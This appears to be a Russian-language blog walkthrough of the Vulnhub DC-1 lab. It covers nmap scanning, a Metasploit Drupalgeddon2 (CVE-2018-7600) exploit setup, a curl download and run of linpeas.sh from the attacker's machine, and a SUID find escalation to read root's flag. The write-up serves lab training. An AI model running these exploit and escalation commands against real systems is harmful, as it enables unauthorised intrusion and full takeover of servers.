Сегодня у нас на обзоре занимательная машинка от Vulnhub: DC-1 от автора DCAU. По ощущениям предназначена для уровня Beginner/Intermediate, хотя сам автор сложность не указал. Машина отличается нестандартными флагами — всего их раскидано пять, хотя интересен лишь один рут‑флаг, остальные — просто подсказки на пути к нему. Для классификации моих действий будем использовать матрицу MITRE ATT&CK — в конце статьи вас ждет полный KillChain по митре.
Не стану детально расписывать подготовку и настройку сборки в VirtualBox, ибо для каждой машины этот процесс в целом одинаковый, перейдем сразу к самому вкусному
T1595 — Разведка
Итак, разминаем шаловливые пальчики, наливаем чаёк и погнали
Первым делом проводим разведку, узнаем какие порты у нас открыты, что на них интересного висит, как мы можем с этим повзаимодействовать.
nmap -A -sV 192.168.56.105
Из интересного видим открытый порт rcpbind, но не думаю, что в машинках начального уровня на нём будет завязан киллчейн:
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
Переходим на веб-морду и смотрим, что там лежит.

Кнопочка регистрации присутствует - надо тыкнуть

Увы, админ не дает нам аппрув на учетку в силу своего отсутствия. В таком случае продолжаем ковырять — смотрим базовые интересные директории и сканим на уязвимости морду.
/robots.txt дал нам очень много бесполезной информации — базовые директории с файлами настройки и установки, половина которых кидают нам 403.

Drupal 7 как бы намекает нам на то, что стоит поискать CVE, а минутный гуглинг дает нам огромную базу уязвимостей и чешуйчатый опенсорс инструмент DScanner. Работаем!
python3 DScanner.py #Ну вдруг кто не знает как запускать питоновские скрипты) | \/ __| __ __ _ _ _ _ _ ___ _ _ / | / \ | |) \__ \/ _/ _` | ' \| ' \/ -_) '_| | || () | |___/|___/\__\__,_|_||_|_||_\___|_| |_(_)__/

А вот и самое вкусное, что мы видим:
[!!] Confirmed RCE in CVE-2018-7600 (RCE): http://192.168.56.105/user/register
Уязвимость RCE‑типа под кодом CVE-2018-7600 и с невероятно эпичным названием Drupalgeddon 2 — позволяет выполнять произвольный код из‑за небезопасной обработки render array в Drupal Form API.
Пора войти в систему, товарищи.
T1190 - Первичный доступ

Для эксплуатации CVE-2018-7600 мы будем использовать Metasploit — фреймворк с экплоитами для всего что движется и не движется. Примерно так будет выглядеть настройка:
msf > use exploit/unix/webapp/drupal_drupalgeddon2 msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.105 msf exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.56.1 msf exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /user/register msf exploit(unix/webapp/drupal_drupalgeddon2) > run

Вот мы и на месте. Давайте глянем первый флаг, может там что-то интересное.
ls cat flag1.txt
Every good CMS needs a config file - and so do you.
Да, спасибо, я знаю.
Погнали повышать свои социальные привилегии — мы же не хотим родиться www‑data, прожить всю жизнь и так и не стать root?
T1548.001 Эскалация привилегий
Пришло время добраться до финального рут‑флага. Для разведки мы используем LinPeas — сканер интересных файлов и конфигураций, позволяющих повысить свои права в системе, параллельно добавив в киллчейн технику T1105 — передача инструментов из внешней сети на скомпрометированную машину.
# На своей машине cd tools/ python3 -m http.server 8080 # На скомпрометированном сервере cd /tmp/ curl http://192.168.56.1:8080/linpeas.sh > linpeas.sh chmod +x linpeas.sh ./linpeas.sh
Фильтруем внимательным глазным фильтром полотно линписа и видим вкусняшку:


Утилита find запускается с рут‑правами и это прекрасно, так как мы можем использовать ее не только для чтения файлов.
Ищем эксплоиты на нее с помощью https://gtfobins.org/gtfobins/find/, глядим что у нас в папке /root и получаем последний флаг.
find /root find /root/thefinalflag.txt -exec cat {} \;
-
Well done!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
Заключение
Машинка классная для начального уровня — дает базовые навыки гуглинга, поиска CVE, эксплоитов под них и применения на практике, так же учит работать с SUID и использовать их возможности. Из недостатков — довольно скучный киллчейн из одной CVE и SUID команды, все довольно прямо и топорно. К тому же автор видимо не в курсе формата флагов, но спишем все на то, что это его первая машина.
Как и обещал, полный киллчейн машины:
Reconnaissance ├── T1595 Active Scanning (Nmap) ├── T1594 Search Victim-Owned Websites └── T1595.002 Vulnerability Scanning (DScanner) Initial Access └── T1190 Exploit Public-Facing Application Command Execution └── T1059.004 Unix Shell Command and Control └── T1105 Ingress Tool Transfer Privilege Escalation └── T1548.001 Setuid and Setgid